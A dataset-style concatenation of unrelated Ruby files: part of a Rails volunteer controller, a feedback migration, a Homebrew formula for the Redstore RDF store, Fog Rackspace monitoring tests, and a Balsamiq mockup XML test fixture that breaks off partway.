volunteers_path, alert: "CSV document not present." else Volunteer.import_csv(params[:file].path) respond_to do |format| format.html { redirect_to volunteers_path, notice: "Successfully Imported Data!!!" } end end end private # Use callbacks to share common setup or constraints between actions. def set_volunteer @volunteer = Volunteer.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def volunteer_params params.require(:volunteer).permit(:first_name, :last_name, :street_address, :city, :state, :zip, :county, :phone, :university_location_id, :graduation_year, :ok_to_email, :ok_to_text, :ok_to_call, :ok_to_mail, :underage) end end
32.082645
243
0.586038
265e441df692450042e1801d4cfcfbd3c2bcca1b
272
class CreateFeedbacks < ActiveRecord::Migration def self.up create_table :feedbacks do |t| t.references :user t.string :email t.string :title t.text :body t.timestamps end end def self.down drop_table :feedbacks end end
16
47
0.643382
e268577ec2d4c3071e4c282d7fbc3e366eb926c8
1,484
class Redstore < Formula desc "Lightweight RDF triplestore powered by Redland" homepage "https://www.aelius.com/njh/redstore/" url "https://www.aelius.com/njh/redstore/redstore-0.5.4.tar.gz" sha256 "58bd65fda388ab401e6adc3672d7a9c511e439d94774fcc5a1ef6db79c748141" license "GPL-3.0" livecheck do url :homepage regex(/href=.*?redstore[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do sha256 cellar: :any, arm64_big_sur: "03952d80ba4b35e0a1a7a85a9ae9fe56e9e31bd6e2797729c28ffee377ee2fcf" sha256 cellar: :any, big_sur: "fa44b96b71ff73060973893222eb264f18c54f8c64ebb73c903eef2e544868ee" sha256 cellar: :any, catalina: "f473645a1903ac48caf0bea886c13636ca093c4ca6f57f83ce9ffc4864f88ee5" sha256 cellar: :any, mojave: "a17c99ed5d7162eb742eef7b8764c64082fff26895baa81cb26cb75ced03db5e" sha256 cellar: :any, high_sierra: "fbd9814ed5e35fb1c964d6f581edebfc35e7d35cba0b89ea735247131c5559ac" sha256 cellar: :any, sierra: "e507eab072e33f0cee1ca08efb51ab06d65cee3a64248ec6badbd4f601f5c674" sha256 cellar: :any, el_capitan: "5ae64e4a536011ef3f68d2e8b4253624f60995025064de38f3a38308dd005421" sha256 cellar: :any, yosemite: "1c891f4297c26269136c5caa5be3ab721cbb8e5b53c83daf3440082df4edf6a2" end depends_on "pkg-config" => :build depends_on "redland" def install system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end end
44.969697
106
0.752022
e91ca35e2fc8c7fc361161bebfa395b16f497a18
3,042
Shindo.tests('Fog::Rackspace::Monitoring | agent_tests', ['rackspace','rackspace_monitoring']) do account = Fog::Rackspace::Monitoring.new agent_token = nil options = { "label" => "Bar" } values_format = Hash tests('success') do tests('#create new agent token').formats(DATA_FORMAT) do response = account.create_agent_token(options).data agent_token = response[:headers]["X-Object-ID"] response end tests('#list agent tokens').formats(LIST_HEADERS_FORMAT) do account.list_agent_tokens().data[:headers] end tests("#list_agents") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.list_agents.body } end tests("#get_agent") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_agent("agent_id").body } end tests('#get agent token').formats(LIST_HEADERS_FORMAT) do account.get_agent_token(agent_token).data[:headers] end tests('#delete agent token').formats(DELETE_HEADERS_FORMAT) do account.delete_agent_token(agent_token).data[:headers] end tests("#get_cpus_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_cpus_info("agent_id").body } end tests("#get_disks_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_disks_info("agent_id").body } end tests("#get_filesystems_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_filesystems_info("agent_id").body } end tests("#get_logged_in_user_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_logged_in_user_info("agent_id").body } end tests("#get_memory_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_memory_info("agent_id").body } end tests("#get_network_interfaces_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_network_interfaces_info("agent_id").body } end tests("#get_processes_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_processes_info("agent_id").body } end tests("#get_system_info") do data_matches_schema(values_format, {:allow_extra_keys => true}) { account.get_system_info("agent_id").body } end end tests('failure') do tests('#fail to create agent token(-1)').raises(TypeError) do account.create_agent_token(-1) end tests('#fail to get agent token(-1)').raises(TypeError) do account.create_agent_token(-1) end tests('#fail to delete agent token(-1)').raises(Fog::Rackspace::Monitoring::NotFound) do account.delete_agent_token(-1) end tests('#fail to connect to agent(-1)').raises(Fog::Rackspace::Monitoring::BadRequest) do account.get_cpus_info(-1) end tests('#fail to get agent (-1)').raises(Fog::Rackspace::Monitoring::NotFound) do account.get_agent(-1) end end end
40.56
125
0.704799
79b431f66b63d43c93235fbc244a83e0b71b1ddd
69,009
# balsamiq-symbol-dump.rb # File auto generated by irb on Thu Dec 25 22:00:36 -0800 2008 # Used by rspec stories in parse_controls_spec.rb # Control XML BalsamiqTestXMLAccordion = %Q{ <control zOrder="0" w="-1" x="128" controlID="0" y="390" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Accordion" h="-1" locked="false"> <controlProperties> <text>Item%20One%0AItem%20Two%0AItem%20Three%0AItem%20Four</text> </controlProperties> </control>} BalsamiqTestXMLArrow = %Q{ <control zOrder="1" w="-1" x="306" controlID="1" y="390" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Arrow" h="-1" locked="false"></control>} BalsamiqTestXMLBreadCrumbs = %Q{ <control zOrder="2" w="-1" x="457" controlID="2" y="390" isInGroup="-1" controlTypeID="com.balsamiq.mockups::BreadCrumbs" h="-1" locked="false"> <controlProperties> <text>Home%2C%20Products%2C%20Xyz%2C%20Features</text> </controlProperties> </control>} BalsamiqTestXMLBrowserWindow = %Q{ <control zOrder="3" w="-1" x="862" controlID="3" y="415" isInGroup="-1" controlTypeID="com.balsamiq.mockups::BrowserWindow" h="-1" locked="false"> <controlProperties> <text>A%20Web%20Page</text> </controlProperties> </control>} BalsamiqTestXMLButton = %Q{ <control zOrder="4" w="-1" x="143" controlID="4" y="631" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Button" h="-1" locked="false"> <controlProperties> <text>Button</text> </controlProperties> </control>} BalsamiqTestXMLButtonBar = %Q{ <control zOrder="5" w="-1" x="295" controlID="5" y="520" isInGroup="-1" controlTypeID="com.balsamiq.mockups::ButtonBar" h="-1" locked="false"> <controlProperties> <text>One%2C%20Two%2C%20Three</text> </controlProperties> </control>} BalsamiqTestXMLCalendar = %Q{ <control zOrder="6" w="-1" x="306" controlID="6" y="578" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Calendar" h="-1" locked="false"></control>} BalsamiqTestXMLCallOut = %Q{ <control zOrder="7" w="-1" x="471" controlID="7" y="430" isInGroup="-1" controlTypeID="com.balsamiq.mockups::CallOut" h="-1" locked="false"> <controlProperties> <text>1</text> </controlProperties> </control>} BalsamiqTestXMLBarChart = %Q{ <control zOrder="8" w="-1" x="371" controlID="8" y="763" isInGroup="-1" controlTypeID="com.balsamiq.mockups::BarChart" h="-1" locked="false"></control>} BalsamiqTestXMLColumnChart = %Q{ <control zOrder="9" w="-1" x="471" controlID="9" y="571" isInGroup="-1" controlTypeID="com.balsamiq.mockups::ColumnChart" h="-1" locked="false"></control>} BalsamiqTestXMLLineChart = %Q{ <control zOrder="10" w="-1" x="128" controlID="10" y="691" isInGroup="-1" controlTypeID="com.balsamiq.mockups::LineChart" h="-1" locked="false"></control>} BalsamiqTestXMLPieChart = %Q{ <control zOrder="11" w="-1" x="593" controlID="11" y="782" isInGroup="-1" controlTypeID="com.balsamiq.mockups::PieChart" h="-1" locked="false"></control>} BalsamiqTestXMLCheckBox = %Q{ <control zOrder="12" w="-1" x="598" controlID="12" y="442" isInGroup="-1" controlTypeID="com.balsamiq.mockups::CheckBox" h="-1" locked="false"> <controlProperties> <text>Checkbox</text> </controlProperties> </control>} BalsamiqTestXMLColorPicker = %Q{ <control zOrder="13" w="-1" x="540" controlID="13" y="442" isInGroup="-1" controlTypeID="com.balsamiq.mockups::ColorPicker" h="-1" locked="false"></control>} BalsamiqTestXMLComboBox = %Q{ <control zOrder="14" w="-1" x="681" controlID="14" y="546" isInGroup="-1" controlTypeID="com.balsamiq.mockups::ComboBox" h="-1" locked="false"> <controlProperties> <text>ComboBox</text> </controlProperties> </control>} BalsamiqTestXMLStickyNote = %Q{ <control zOrder="15" w="-1" x="706" controlID="15" y="397" isInGroup="-1" controlTypeID="com.balsamiq.mockups::StickyNote" h="-1" locked="false"> <controlProperties> <text>A%20comment</text> </controlProperties> </control>} BalsamiqTestXMLCoverFlow = %Q{ <control zOrder="16" w="-1" x="815" controlID="16" y="821" isInGroup="-1" controlTypeID="com.balsamiq.mockups::CoverFlow" h="-1" locked="false"></control>} BalsamiqTestXMLDataGrid = %Q{ <control zOrder="17" w="-1" x="1355" controlID="17" y="390" isInGroup="-1" controlTypeID="com.balsamiq.mockups::DataGrid" h="-1" locked="false"> <controlProperties> <text>Name%2C%20Last%20Name%2C%20Age%2C%20Nickname%2C%20Kid%0AGiacomo%2C%20Guilizzoni%2C%2033%2C%20Peldi%2C%20%5B%5D%0AGuido%20Jack%2C%20Guilizzoni%2C%203%2C%20The%20Guids%2C%20%5Bx%5D%0AMariah%2C%20Maclachlan%2C%2034%2C%20Patata%2C%20%5B%5D</text> </controlProperties> </control>} BalsamiqTestXMLDateChooser = %Q{ <control zOrder="18" w="-1" x="516" controlID="18" y="493" isInGroup="-1" controlTypeID="com.balsamiq.mockups::DateChooser" h="-1" locked="false"> <controlProperties> <text>%20%20/%20%20/%20%20%20%20</text> </controlProperties> </control>} BalsamiqTestXMLTitleWindow = %Q{ <control zOrder="19" w="-1" x="1326" controlID="19" y="531" isInGroup="-1" controlTypeID="com.balsamiq.mockups::TitleWindow" h="-1" locked="false"> <controlProperties> <text>Window%20Name</text> </controlProperties> </control>} BalsamiqTestXMLFormattingToolbar = %Q{ <control zOrder="20" w="-1" x="145" controlID="20" y="965" isInGroup="-1" controlTypeID="com.balsamiq.mockups::FormattingToolbar" h="-1" locked="false"></control>} BalsamiqTestXMLFieldSet = %Q{ <control zOrder="21" w="-1" x="662" controlID="21" y="597" isInGroup="-1" controlTypeID="com.balsamiq.mockups::FieldSet" h="-1" locked="false"> <controlProperties> <text>Group%20Name</text> </controlProperties> </control>} BalsamiqTestXMLHelpButton = %Q{ <control zOrder="22" w="-1" x="520" controlID="22" y="544" isInGroup="-1" controlTypeID="com.balsamiq.mockups::HelpButton" h="-1" locked="false"></control>} BalsamiqTestXMLHCurly = %Q{ <control zOrder="23" w="-1" x="1727" controlID="23" y="417" isInGroup="-1" controlTypeID="com.balsamiq.mockups::HCurly" h="-1" locked="false"> <controlProperties> <text>A%20paragraph%20of%20text.%0AA%20second%20row%20of%20text.</text> </controlProperties> </control>} BalsamiqTestXMLHRule = %Q{ <control zOrder="24" w="-1" x="1832" controlID="24" y="505" isInGroup="-1" controlTypeID="com.balsamiq.mockups::HRule" h="-1" locked="false"></control>} BalsamiqTestXMLHorizontalScrollBar = %Q{ <control zOrder="25" w="-1" x="1833" controlID="25" y="524" isInGroup="-1" controlTypeID="com.balsamiq.mockups::HorizontalScrollBar" h="-1" locked="false"></control>} BalsamiqTestXMLHSlider = %Q{ <control zOrder="26" w="-1" x="1848" controlID="26" y="550" isInGroup="-1" controlTypeID="com.balsamiq.mockups::HSlider" h="-1" locked="false"></control>} BalsamiqTestXMLVSplitter = %Q{ <control zOrder="27" w="-1" x="1826" controlID="27" y="570" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VSplitter" h="-1" locked="false"></control>} BalsamiqTestXMLIcon = %Q{ <control zOrder="28" w="-1" x="1350" controlID="28" y="945" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Icon" h="-1" locked="false"></control>} BalsamiqTestXMLIconLabel = %Q{ <control zOrder="29" w="-1" x="1411" controlID="29" y="936" isInGroup="-1" controlTypeID="com.balsamiq.mockups::IconLabel" h="-1" locked="false"> <controlProperties> <text>Icon%20Name</text> </controlProperties> </control>} BalsamiqTestXMLImage = %Q{ <control zOrder="30" w="-1" x="1810" controlID="30" y="600" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Image" h="-1" locked="false"></control>} BalsamiqTestXMLLabel = %Q{ <control zOrder="31" w="-1" x="1502" controlID="31" y="943" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Label" h="-1" locked="false"> <controlProperties> <text>Some%20text</text> </controlProperties> </control>} BalsamiqTestXMLLink = %Q{ <control zOrder="32" w="-1" x="1521" controlID="32" y="970" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Link" h="-1" locked="false"> <controlProperties> <text>a%20link</text> </controlProperties> </control>} BalsamiqTestXMLLinkBar = %Q{ <control zOrder="33" w="-1" x="945" controlID="33" y="382" isInGroup="-1" controlTypeID="com.balsamiq.mockups::LinkBar" h="-1" locked="false"> <controlProperties> <text>Home%2CProducts%2CCompany%2CBlog</text> </controlProperties> </control>} BalsamiqTestXMLList = %Q{ <control zOrder="34" w="-1" x="1796" controlID="34" y="754" isInGroup="-1" controlTypeID="com.balsamiq.mockups::List" h="-1" locked="false"> <controlProperties> <text>Item%20One%0AItem%20Two%0AItem%20Three</text> </controlProperties> </control>} BalsamiqTestXMLMenu = %Q{ <control zOrder="35" w="-1" x="1903" controlID="35" y="758" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Menu" h="-1" locked="false"> <controlProperties> <text>Open%2CCTRL+O%0AOpen%20Recent%20%3E%0A---%0Ao%20Option%20One%0AOption%20Two%0A%3D%0Ax%20Show%20Something%0AExit%2CCTRL+Q</text> </controlProperties> </control>} BalsamiqTestXMLMenuBar = %Q{ <control zOrder="36" w="-1" x="1746" controlID="36" y="380" isInGroup="-1" controlTypeID="com.balsamiq.mockups::MenuBar" h="-1" locked="false"> <controlProperties> <text>File%2CEdit%2CView%2CHelp</text> </controlProperties> </control>} BalsamiqTestXMLModalScreen = %Q{ <control zOrder="37" w="-1" x="1995" controlID="37" y="382" isInGroup="-1" controlTypeID="com.balsamiq.mockups::ModalScreen" h="-1" locked="false"></control>} BalsamiqTestXMLMultilineButton = %Q{ <control zOrder="38" w="-1" x="1580" controlID="38" y="933" isInGroup="-1" controlTypeID="com.balsamiq.mockups::MultilineButton" h="-1" locked="false"> <controlProperties> <text>Multiline%20Button%0ASecond%20line%20of%20text</text> </controlProperties> </control>} BalsamiqTestXMLNumericStepper = %Q{ <control zOrder="39" w="-1" x="1729" controlID="39" y="482" isInGroup="-1" controlTypeID="com.balsamiq.mockups::NumericStepper" h="-1" locked="false"> <controlProperties> <text>3</text> </controlProperties> </control>} BalsamiqTestXMLParagraph = %Q{ <control zOrder="40" w="-1" x="1767" controlID="40" y="953" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Paragraph" h="-1" locked="false"> <controlProperties> <text>A%20paragraph%20of%20text.%0AA%20second%20row%20of%20text.</text> </controlProperties> </control>} BalsamiqTestXMLMediaControls = %Q{ <control zOrder="41" w="-1" x="1782" controlID="41" y="902" isInGroup="-1" controlTypeID="com.balsamiq.mockups::MediaControls" h="-1" locked="false"></control>} BalsamiqTestXMLProgressBar = %Q{ <control zOrder="42" w="-1" x="1932" controlID="42" y="952" isInGroup="-1" controlTypeID="com.balsamiq.mockups::ProgressBar" h="-1" locked="false"></control>} BalsamiqTestXMLRadioButton = %Q{ <control zOrder="43" w="-1" x="1988" controlID="43" y="646" isInGroup="-1" controlTypeID="com.balsamiq.mockups::RadioButton" h="-1" locked="false"> <controlProperties> <text>Radio%20Button</text> </controlProperties> </control>} BalsamiqTestXMLCanvas = %Q{ <control zOrder="44" w="-1" x="2124" controlID="44" y="635" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Canvas" h="-1" locked="false"></control>} BalsamiqTestXMLRedX = %Q{ <control zOrder="45" w="-1" x="2071" controlID="45" y="711" isInGroup="-1" controlTypeID="com.balsamiq.mockups::RedX" h="-1" locked="false"></control>} BalsamiqTestXMLRoundButton = %Q{ <control zOrder="46" w="-1" x="1991" controlID="46" y="693" isInGroup="-1" controlTypeID="com.balsamiq.mockups::RoundButton" h="-1" locked="false"></control>} BalsamiqTestXMLScratchOut = %Q{ <control zOrder="47" w="-1" x="2084" controlID="47" y="804" isInGroup="-1" controlTypeID="com.balsamiq.mockups::ScratchOut" h="-1" locked="false"></control>} BalsamiqTestXMLSearchBox = %Q{ <control zOrder="48" w="-1" x="1935" controlID="48" y="989" isInGroup="-1" controlTypeID="com.balsamiq.mockups::SearchBox" h="-1" locked="false"> <controlProperties> <text>search</text> </controlProperties> </control>} BalsamiqTestXMLMap = %Q{ <control zOrder="49" w="-1" x="2588" controlID="49" y="724" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Map" h="-1" locked="false"></control>} BalsamiqTestXMLTabBar = %Q{ <control zOrder="50" w="-1" x="930" controlID="50" y="1012" isInGroup="-1" controlTypeID="com.balsamiq.mockups::TabBar" h="-1" locked="false"> <controlProperties> <text>One%2C%20Two%2C%20Three%2C%20Four</text> </controlProperties> </control>} BalsamiqTestXMLTagCloud = %Q{ <control zOrder="51" w="-1" x="2347" controlID="51" y="485" isInGroup="-1" controlTypeID="com.balsamiq.mockups::TagCloud" h="-1" locked="false"> <controlProperties> <text>software%20statistics%20teaching%20technology%20tips%20tool%20tools%20toread%20travel%20tutorial%20tutorials%20tv%20twitter%20typography%20ubuntu%20usability%20video%20videos%20visualization%20web%20web2.0%20webdesign%20webdev%20wiki%20windows%20wordpress%20work%20writing%20youtube</text> </controlProperties> </control>} BalsamiqTestXMLTextArea = %Q{ <control zOrder="52" w="-1" x="2353" controlID="52" y="739" isInGroup="-1" controlTypeID="com.balsamiq.mockups::TextArea" h="-1" locked="false"> <controlProperties> <text>Some%20text%0AA%20second%20line%20of%20text</text> </controlProperties> </control>} BalsamiqTestXMLTextInput = %Q{ <control zOrder="53" w="-1" x="1356" controlID="53" y="1027" isInGroup="-1" controlTypeID="com.balsamiq.mockups::TextInput" h="-1" locked="false"> <controlProperties> <text>Some%20text</text> </controlProperties> </control>} BalsamiqTestXMLTitle = %Q{ <control zOrder="54" w="-1" x="1477" controlID="54" y="1022" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Title" h="-1" locked="false"> <controlProperties> <text>A%20Big%20Title</text> </controlProperties> </control>} BalsamiqTestXMLTooltip = %Q{ <control zOrder="55" w="-1" x="1734" controlID="55" y="1027" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Tooltip" h="-1" locked="false"> <controlProperties> <text>a%20tooltip</text> </controlProperties> </control>} BalsamiqTestXMLTree = %Q{ <control zOrder="56" w="-1" x="2068" controlID="56" y="902" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Tree" h="-1" locked="false"> <controlProperties> <text>f%20Use%20f%20for%20closed%20folders%0AF%20Use%20F%20for%20open%20folders%0A%20-%20Use%20-%20for%20files%0AF%20Use%20spaces%2C%20dots%20or%20%3E%20for%20hierarchy%0A%20-%20like%20this%20%28a%20file%20in%20a%20folder%29%0A.F%20and%20this%20%28a%20subfolder%29%0A%3E%3E-%20a%20file%20in%20a%20subfolder%0A-%20you%27ll%20get%20the%20hang%20of%20it</text> </controlProperties> </control>} BalsamiqTestXMLVCurly = %Q{ <control zOrder="57" w="-1" x="2378" controlID="57" y="907" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VCurly" h="-1" locked="false"> <controlProperties> <text>A%20paragraph%20of%20text.%0AA%20second%20row%20of%20text.</text> </controlProperties> </control>} BalsamiqTestXMLVRule = %Q{ <control zOrder="58" w="-1" x="2725" controlID="58" y="505" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VRule" h="-1" locked="false"></control>} BalsamiqTestXMLVerticalScrollBar = %Q{ <control zOrder="59" w="-1" x="1432" controlID="59" y="359" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VerticalScrollBar" h="417" locked="false"></control>} BalsamiqTestXMLVSlider = %Q{ <control zOrder="60" w="-1" x="2753" controlID="60" y="529" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VSlider" h="-1" locked="false"></control>} BalsamiqTestXMLHSplitter = %Q{ <control zOrder="61" w="-1" x="2776" controlID="61" y="490" isInGroup="-1" controlTypeID="com.balsamiq.mockups::HSplitter" h="-1" locked="false"></control>} BalsamiqTestXMLVerticalTabBar = %Q{ <control zOrder="62" w="-1" x="2556" controlID="62" y="908" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VerticalTabBar" h="-1" locked="false"> <controlProperties> <text>First%20Tab%0ASecond%20Tab%0AThird%20Tab%0AFourth%20Tab</text> </controlProperties> </control>} BalsamiqTestXMLVideoPlayer = %Q{ <control zOrder="63" w="-1" x="1836" controlID="63" y="1011" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VideoPlayer" h="-1" locked="false"></control>} BalsamiqTestXMLVolumeSlider = %Q{ <control zOrder="64" w="-1" x="2697" controlID="64" y="643" isInGroup="-1" controlTypeID="com.balsamiq.mockups::VolumeSlider" h="-1" locked="false"></control>} BalsamiqTestXMLWebcam = %Q{ <control zOrder="65" w="-1" x="2384" controlID="65" y="1054" isInGroup="-1" controlTypeID="com.balsamiq.mockups::Webcam" h="-1" locked="false"></control>} # Control Test Data BalsamiqTestDataAccordion = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 150, :text => "Item%20One%0AItem%20Two%0AItem%20Three%0AItem%20Four", :rowHeight => nil, :dragger => nil, :controlID => 0, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 218, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 0, :state => nil, :hLines => nil, :controlTypeID => :Accordion, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 128, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 390, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataArrow = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 150, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 1, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 100, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 1, :state => nil, :hLines => nil, :controlTypeID => :Arrow, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 306, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 390, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataBreadCrumbs = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 211, :text => "Home%2C%20Products%2C%20Xyz%2C%20Features", :rowHeight => nil, :dragger => nil, :controlID => 2, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 23, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 2, :state => nil, :hLines => nil, :controlTypeID => :BreadCrumbs, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 457, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 390, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataBrowserWindow = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 450, :text => "A%20Web%20Page", :rowHeight => nil, :dragger => nil, :controlID => 3, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 400, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 3, :state => nil, :hLines => nil, :controlTypeID => :BrowserWindow, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 862, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 415, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataButton = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 65, :text => "Button", :rowHeight => nil, :dragger => nil, :controlID => 4, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 22, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 4, :state => nil, :hLines => nil, :controlTypeID => :Button, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 143, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 631, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataButtonBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 128, :text => "One%2C%20Two%2C%20Three", :rowHeight => nil, :dragger => nil, :controlID => 5, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 22, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 5, :state => nil, :hLines => nil, :controlTypeID => :ButtonBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 295, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 520, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataCalendar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 96, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 6, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 96, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 6, :state => nil, :hLines => nil, :controlTypeID => :Calendar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 306, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 578, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataCallOut = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 38, :text => "1", :rowHeight => nil, :dragger => nil, :controlID => 7, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 40, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 7, :state => nil, :hLines => nil, :controlTypeID => :CallOut, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 471, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 430, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataBarChart = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 187, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 8, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 175, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 8, :state => nil, :hLines => nil, :controlTypeID => :BarChart, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 371, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 763, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataColumnChart = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 187, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 9, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 175, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 9, :state => nil, :hLines => nil, :controlTypeID => :ColumnChart, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 471, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 571, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataLineChart = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 187, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 10, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 175, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 10, :state => nil, :hLines => nil, :controlTypeID => :LineChart, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 128, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 691, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataPieChart = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 195, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 11, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 187, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 11, :state => nil, :hLines => nil, :controlTypeID => :PieChart, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 593, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 782, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataCheckBox = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 83, :text => "Checkbox", :rowHeight => nil, :dragger => nil, :controlID => 12, 